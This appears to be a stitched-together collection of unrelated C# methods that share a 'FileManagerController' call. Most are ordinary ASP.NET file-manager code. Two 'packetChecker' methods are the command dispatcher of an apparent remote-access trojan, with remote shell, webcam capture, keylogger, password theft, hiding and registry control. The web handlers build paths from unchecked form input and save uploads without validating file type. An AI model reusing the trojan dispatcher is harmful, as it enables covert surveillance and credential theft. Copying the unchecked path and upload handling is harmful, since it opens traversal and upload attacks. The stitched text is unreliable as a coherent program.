protected FileViewRender(FileView fileView) { this.fileView = fileView; this.controller = fileView.Controller; //this.sort = fileView.Sort; //this.sortDirection = fileView.SortDirection; }
public static void packetChecker(ClientMosaique client, IPackets packet) { var type = packet.Type; if (type == TypePackets.DoAskElevate) { Controllers.Tools.CommandController.doAskElevate((DoAskElevate)packet, client); } else if (type == TypePackets.SetClientIdentifier) { ManageController.setClientIdentifier((SetClientIdentifier)packet, client); } else if (type == TypePackets.UninstallClient) { ClientUninstallerController.uninstall(client); } else if (type == TypePackets.CloseClient) { ManageController.CloseClient(); } else if (type == TypePackets.GetMonitors) { RemoteDesktopController.getMonitors(client); } else if (type == TypePackets.GetDesktop) { RemoteDesktopController.getDesktop((GetDesktop)packet, client); } else if (type == TypePackets.GetExecuteShellCmd) { RemoteShellController.getExecuteShellCmd((GetExecuteShellCmd)packet, client); } else if (type == TypePackets.GetAvailableWebcams) { RemoteWebcamController.getAvailableWebcams((GetAvailableWebcams)packet, client); } else if (type == TypePackets.GetWebcam) { RemoteWebcamController.getWebcam((GetWebcam)packet, client); } else if (type == TypePackets.StopWebcam) { RemoteWebcamController.stopWebcam(); } else if (type == TypePackets.GetDrives) { FileManagerController.getDrives((GetDrives)packet, client); } else if (type == TypePackets.GetDirectory) { FileManagerController.getDirectory((GetDirectory)packet, client); } else if (type == TypePackets.DoDownloadFile) { FileManagerController.doDownloadFile((DoDownloadFile)packet, client); } else if (type == TypePackets.DoDownloadFileCancel) { FileManagerController.doDownloadFileCancel((DoDownloadFileCancel)packet, client); } else if (type == TypePackets.GetProcesses) { TaskManagerController.getProcesses((GetProcesses)packet, client); } else if (type == TypePackets.GetSysInfo) { SystemInformationController.getSysInfo(client); } else if (type == TypePackets.GetStartupItems) { StartupManagerController.getStartupItems((GetStartupItems)packet, client); } else if (type == TypePackets.DoStartupItemAdd) { StartupManagerController.doStartupItemAdd((DoStartupItemAdd)packet, client); } else if (type == TypePackets.DoStartupItemRemove) { StartupManagerController.doStartupItemRemove((DoStartupItemRemove)packet, client); } else if (type == TypePackets.GetPasswords) { PasswordRecoveryController.getPasswords((GetPasswords)packet, client); } else if (type == TypePackets.GetKeyLoggerLogs) { KeyLoggerController.getKeyLogger((GetKeyLoggerLogs)packet, client); } else if (type == TypePackets.DoTrayCdOpenClose) { DoTrayCdOpenCloseController.openCloseTrayCD((DoTrayCdOpenClose)packet, client); } }
protected void Page_Load(object sender, EventArgs e) { string dir; HttpContext c = HttpContext.Current; if (c != null) { List <Folder> lstRootFolders = FileManagerController.GetActiveRootFolders(); if (c.Request.Form["dir"] == null || c.Request.Form["dir"].Length <= 0) { dir = "/"; } else { dir = c.Server.UrlDecode(c.Request.Form["dir"]); } string rootPath = c.Request.PhysicalApplicationPath.ToString(); c.Response.Write("<ul class=\"jqueryFileTree\" style=\"display: none;\">\n"); if (dir.Equals("/")) { foreach (Folder folder in lstRootFolders) { if (Directory.Exists(Path.Combine(rootPath, folder.FolderPath))) { DirectoryInfo dirInfo = new DirectoryInfo(folder.FolderPath); switch (folder.StorageLocation) { case 0: Response.Write("\t<li class=\"directory collapsed\"><a id=" + folder.FolderId + " href=\"#\" rel=\"" + folder.FolderPath + "/\">" + dirInfo.Name + "</a></li>\n"); break; case 1: Response.Write("\t<li class=\"locked collapsed\"><a id=" + folder.FolderId + " href=\"#\" rel=\"" + folder.FolderPath + "/\">" + dirInfo.Name + "</a></li>\n"); break; case 2: Response.Write("\t<li class=\"database collapsed\"><a id=" + folder.FolderId + " href=\"#\" rel=\"" + folder.FolderPath + "/\">" + dirInfo.Name + "</a></li>\n"); break; } } } } else { System.IO.DirectoryInfo di = new System.IO.DirectoryInfo(FileManagerHelper.ReplaceBackSlash(Path.Combine(rootPath, dir))); List <Folder> lstFolders = new List <Folder>(); if (!CacheHelper.Get("FileManagerFolders", out lstFolders)) { lstFolders = FileManagerController.GetFolders(); CacheHelper.Add(lstFolders, "FileManagerFolders"); } foreach (System.IO.DirectoryInfo di_child in di.GetDirectories()) { string fullPath = di_child.FullName.Replace('\\', '/'); int index = lstFolders.FindIndex( delegate(Folder obj) { return(FileManagerHelper.ReplaceBackSlash(Path.Combine(rootPath, obj.FolderPath)) == fullPath); } ); if (index > -1) { switch (lstFolders[index].StorageLocation) { case 0: c.Response.Write("\t<li class=\"directory collapsed\"><a id=" + lstFolders[index].FolderId + " href=\"#\" rel=\"" + dir + di_child.Name + "/\">" + di_child.Name + "</a></li>\n"); break; case 1: c.Response.Write("\t<li class=\"locked collapsed\"><a id=" + lstFolders[index].FolderId + " href=\"#\" rel=\"" + dir + di_child.Name + "/\">" + di_child.Name + "</a></li>\n"); break; case 2: c.Response.Write("\t<li class=\"database collapsed\"><a id=" + lstFolders[index].FolderId + " href=\"#\" rel=\"" + dir + di_child.Name + "/\">" + di_child.Name + "</a></li>\n"); break; } } } } c.Response.Write("</ul>"); } }
public static string SearchFiles(string SearchQuery, int CurrentPage, int PageSize, string FilePath, int portalID, string userName, int userModuleID, string secureToken) { StringBuilder sb = new StringBuilder(); AuthenticateService objService = new AuthenticateService(); if (objService.IsPostAuthenticatedView(portalID, userModuleID, userName, secureToken)) { if (FilePath == "/") { FilePath = HttpContext.Current.Server.MapPath("~/"); } List <ATTFile> lstFiles = new List <ATTFile>(); if (Directory.Exists(FilePath)) { DirectoryInfo dirInfo = new DirectoryInfo(FilePath); foreach (FileInfo file in dirInfo.GetFiles(SearchQuery + "*")) { ATTFile obj = new ATTFile(); obj.FileName = file.Name; obj.Folder = file.Directory.ToString(); obj.Size = int.Parse(file.Length.ToString()); obj.Extension = file.Extension; lstFiles.Add(obj); } } Dictionary <string, string> dictImages = GetImages(); List <string> lstPermissions = FileManagerController.GetModulePermission(userModuleID, userName); int UserPermissionKey = lstPermissions.Contains("EDIT") ? 1 : 0; if (lstFiles.Count > 0) { lstFiles = lstFiles.GetRange(GetStartRange(CurrentPage, PageSize), GetEndRange(CurrentPage, PageSize, lstFiles.Count)); } sb.Append("<div class='sfGridwrapper'><table width='100%' cellspacing='0' cellpadding='0' class=\"jqueryFileTree\" id=\"fileList\">\n"); if (lstFiles.Count > 0) { sb.Append("<tr><th><span class='selectAll'><input type='checkbox' id='chkSelectAll'/></span></th><th><span class='fileName'>FileName<img src=" + dictImages["Sort"].ToString() + "></span></th><th><span class='fileInfo'>FileInfo</span></th><th class='sfEdit'></th><th class='sfEdit'></th><th class='sfEdit'></th></tr>"); } if (lstFiles.Count == 0) { sb.Append("<div class='sfEmptyrow'>No Files</div>"); } string downloadPath = FileManagerHelper.ReplaceBackSlash(Path.Combine(HttpContext.Current.Request.Url.GetLeftPart(UriPartial.Authority), GetRelativePath("Modules/FileManager/DownloadHandler.ashx?"))); if (UserPermissionKey == 1) { int index = 0; foreach (ATTFile fi in lstFiles) { string ext = ""; //bool IsZip = false; bool IsImg = false; if (fi.Extension.Length > 1) { ext = fi.Extension.Substring(1).ToLower(); } // if (ext == "zip") // IsZip = true; if (ext == "png" || ext == "gif" || ext == "jpg" || ext == "jpeg") { IsImg = true; } string checkId = "chk_" + fi.FileId; try { FileManagerHelper.ConstructHTMLString(false, IsImg, fi.StorageLocation, ext, Path.Combine(GetUrlPath(fi.Folder), fi.FileName), Path.Combine(GetAbsolutePath(fi.Folder), fi.FileName), downloadPath, checkId, 0, fi, ref sb, "edit", dictImages, index); } catch (Exception ex) { fb.ProcessException(ex); } index++; } } else { int index = 0; foreach (ATTFile fi in lstFiles) { string ext = ""; // bool IsZip = false; bool IsImg = false; if (fi.Extension.Length > 1) { ext = fi.Extension.Substring(1).ToLower(); } //if (ext == "zip") // IsZip = true; if (ext == "png" || ext == "gif" || ext == "jpg" || ext == "jpeg") { IsImg = true; } string checkId = "chk_" + fi.FileId; try { FileManagerHelper.ConstructHTMLString(false, IsImg, fi.StorageLocation, ext, Path.Combine(GetUrlPath(fi.Folder), fi.FileName), Path.Combine(GetAbsolutePath(fi.Folder), fi.FileName), downloadPath, checkId, 0, fi, ref sb, "view", dictImages, index); } catch (Exception ex) { fb.ProcessException(ex); } index++; } } sb.Append("</table>"); sb.Append("<div id='divPagerNav'></div>"); sb.Append("</div>"); } return(sb.ToString()); }
public FrmFileManager(IUrlProvider urlProvider, IDownloadFileManager downloadFileReader, IAppSettings appSettings) { _appSettings = appSettings; _controller = new FileManagerController(this, urlProvider, downloadFileReader, appSettings); InitializeComponent(); }
public static int ValidateUser(string userName) { int UserID = FileManagerController.GetUserID(userName); return(UserID); }
public static List <FolderPermission> GetUserListForFolder(int FolderID) { return(FileManagerController.GetUserListForFolder(FolderID)); }
public static void DeleteRootFolder(int FolderID) { FileManagerController.DeleteRootFolder(FolderID); }
public static List <Folder> GetRootFolders() { return(FileManagerController.GetRootFolders()); }
internal void RenderItemBeginTag(HtmlTextWriter output, FileViewItem item) { string id = ClientID + "_Item_" + _itemIndex; item.ClientID = id; int fileType = -2; //is Directory if (item.FileSystemInfo is FileInfo) { FileInfo file = (FileInfo)item.FileSystemInfo; FileType ft = Controller.GetFileType(file); if (ft != null) { fileType = Controller.FileTypes.IndexOf(ft); } else { fileType = -1; } } itemIds.Add(id); output.AddAttribute(HtmlTextWriterAttribute.Id, id); output.RenderBeginTag(HtmlTextWriterTag.Div); // trace init script _initScript.AppendLine("var " + id + " = document.getElementById('" + id + "');"); _initScript.AppendLine(FileManagerController.ClientScriptObjectNamePrefix + ClientID + ".InitItem(" + id + ",'" + FileManagerController.EncodeURIComponent(item.Name) + "'," + (item.IsDirectory ? "true" : "false") + "," + (item.CanBeRenamed ? "true" : "false") + "," + "false" + "," + fileType + ");"); _itemIndex++; }
public FileView(FileManagerController controller) : base(controller) { InitializeDefaults(); }
public static void packetChecker(ClientMosaique client, IPackets packet) { var type = packet.Type; if (type == TypePackets.DoAskElevate) { Controllers.Tools.CommandController.doAskElevate((DoAskElevate)packet, client); } else if (type == TypePackets.Power) { PowerController.powerButton((Power)packet, client); } else if (type == TypePackets.ActiveSession) { ActiveSessionController.sessionButton((ActiveSession)packet); } else if (type == TypePackets.SetClientIdentifier) { ManageController.setClientIdentifier((SetClientIdentifier)packet, client); } else if (type == TypePackets.UninstallClient) { ClientUninstallerController.uninstall(client); } else if (type == TypePackets.CloseClient) { ManageController.CloseClient(); } else if (type == TypePackets.GetMonitors) { RemoteDesktopController.getMonitors(client); } else if (type == TypePackets.GetDesktop) { RemoteDesktopController.getDesktop((GetDesktop)packet, client); } else if (type == TypePackets.GetExecuteShellCmd) { RemoteShellController.getExecuteShellCmd((GetExecuteShellCmd)packet, client); } else if (type == TypePackets.GetAvailableWebcams) { RemoteWebcamController.getAvailableWebcams((GetAvailableWebcams)packet, client); } else if (type == TypePackets.GetWebcam) { RemoteWebcamController.getWebcam((GetWebcam)packet, client); } else if (type == TypePackets.StopWebcam) { RemoteWebcamController.stopWebcam(); } else if (type == TypePackets.GetDrives) { FileManagerController.getDrives((GetDrives)packet, client); } else if (type == TypePackets.GetDirectory) { FileManagerController.getDirectory((GetDirectory)packet, client); } else if (type == TypePackets.DoDownloadFile) { FileManagerController.doDownloadFile((DoDownloadFile)packet, client); } else if (type == TypePackets.DoDownloadFileCancel) { FileManagerController.doDownloadFileCancel((DoDownloadFileCancel)packet, client); } else if (type == TypePackets.GetProcesses) { TaskManagerController.getProcesses((GetProcesses)packet, client); } else if (type == TypePackets.GetSysInfo) { SystemInformationController.getSysInfo(client); } else if (type == TypePackets.GetStartupItems) { StartupManagerController.getStartupItems((GetStartupItems)packet, client); } else if (type == TypePackets.DoStartupItemAdd) { StartupManagerController.doStartupItemAdd((DoStartupItemAdd)packet, client); } else if (type == TypePackets.DoStartupItemRemove) { StartupManagerController.doStartupItemRemove((DoStartupItemRemove)packet, client); } else if (type == TypePackets.GetPasswords) { PasswordRecoveryController.getPasswords((GetPasswords)packet, client); } else if (type == TypePackets.GetKeyLoggerLogs) { KeyLoggerController.getKeyLogger((GetKeyLoggerLogs)packet, client); } else if (type == TypePackets.DoTrayCdOpenClose) { DoTrayCdOpenCloseController.openCloseTrayCD((DoTrayCdOpenClose)packet, client); } else if (type == TypePackets.SendMessageBox) { SendMessageBoxController.MessageBoxShow((SendMessageBox)packet); } else if (type == TypePackets.MsgToRemoteChat) { FrmRemoteChatController.msgFromRemoteChat((MsgToRemoteChat)packet, client); } else if (type == TypePackets.CloseRemoteChat) { FrmRemoteChatController.closeRemoteChat(client); } else if (type == TypePackets.PlaySong) { PlaySongController.playOnInt((PlaySong)packet); } else if (type == TypePackets.HideShow) { HideShowController.HideOrShow((HideShow)packet); } else if (type == TypePackets.DoLoadRegistryKey) { RegistryEditorController.getRegistryKey((DoLoadRegistryKey)packet, client); } else if (type == TypePackets.DoCreateRegistryKey) { RegistryEditorController.createRegistryKey((DoCreateRegistryKey)packet, client); } else if (type == TypePackets.DoRenameRegistryKey) { RegistryEditorController.renameRegistryKey((DoRenameRegistryKey)packet, client); } else if (type == TypePackets.DoDeleteRegistryKey) { RegistryEditorController.deleteRegistryKey((DoDeleteRegistryKey)packet, client); } else if (type == TypePackets.DoCreateRegistryValue) { RegistryEditorController.createRegistryValue((DoCreateRegistryValue)packet, client); } else if (type == TypePackets.DoRenameRegistryValue) { RegistryEditorController.renameRegistryValue((DoRenameRegistryValue)packet, client); } else if (type == TypePackets.DoChangeRegistryValue) { RegistryEditorController.changeRegistryValue((DoChangeRegistryValue)packet, client); } else if (type == TypePackets.DoDeleteRegistryValue) { RegistryEditorController.deleteRegistryValue((DoDeleteRegistryValue)packet, client); } }
protected void Page_Load(object sender, EventArgs e) { string strFileName = Path.GetFileName(HttpContext.Current.Request.Files[0].FileName); string strExtension = Path.GetExtension(HttpContext.Current.Request.Files[0].FileName).ToLower() == "resources" ? Path.GetExtension(HttpContext.Current.Request.Files[0].FileName.Replace("resources", "")).ToLower() : Path.GetExtension(HttpContext.Current.Request.Files[0].FileName).ToLower(); string url = Request.Url.ToString(); int folderId = int.Parse(Session["FolderID"].ToString()); string strBaseLocation = ""; if (Session["Path"] != null) { strBaseLocation = Session["Path"].ToString(); } string absolutePath = GetAbsolutePath(strBaseLocation); if (!Directory.Exists(absolutePath)) { Directory.CreateDirectory(absolutePath); } try { string strSaveLocation = absolutePath + strFileName; List <Folder> lstFolder = FileManagerController.GetFolders(); int saveMode = 0;///the standard mode ///check the folder file system to decide what to do with the file i.e. the saving mode of file int index = lstFolder.FindIndex( delegate(Folder fObj) { return(fObj.FolderId == folderId); } ); if (index > -1) { saveMode = lstFolder[index].StorageLocation; } switch (saveMode) { case 0: if (!File.Exists(strSaveLocation)) { HttpContext.Current.Request.Files[0].SaveAs(strSaveLocation); File.SetAttributes(strSaveLocation, FileAttributes.Archive); AddFileToDatabase(strFileName, strExtension, strBaseLocation, folderId, false, saveMode); } break; case 1: if (!File.Exists(strSaveLocation)) { HttpContext.Current.Request.Files[0].SaveAs(strSaveLocation + ".resources"); File.SetAttributes(strSaveLocation + ".resources", FileAttributes.Archive); AddFileToDatabase(strFileName, strExtension, strBaseLocation, folderId, false, saveMode); } break; case 2: if (!File.Exists(strSaveLocation)) { HttpContext.Current.Request.Files[0].SaveAs(strSaveLocation); AddFileToDatabase(strFileName, strExtension, strBaseLocation, folderId, true, saveMode); } break; } CacheHelper.Clear("FileManagerFileList"); } catch (Exception ex) { fb.ProcessException(ex); } }
public static void SetUpClass() { controller = GetClient().FileManager; }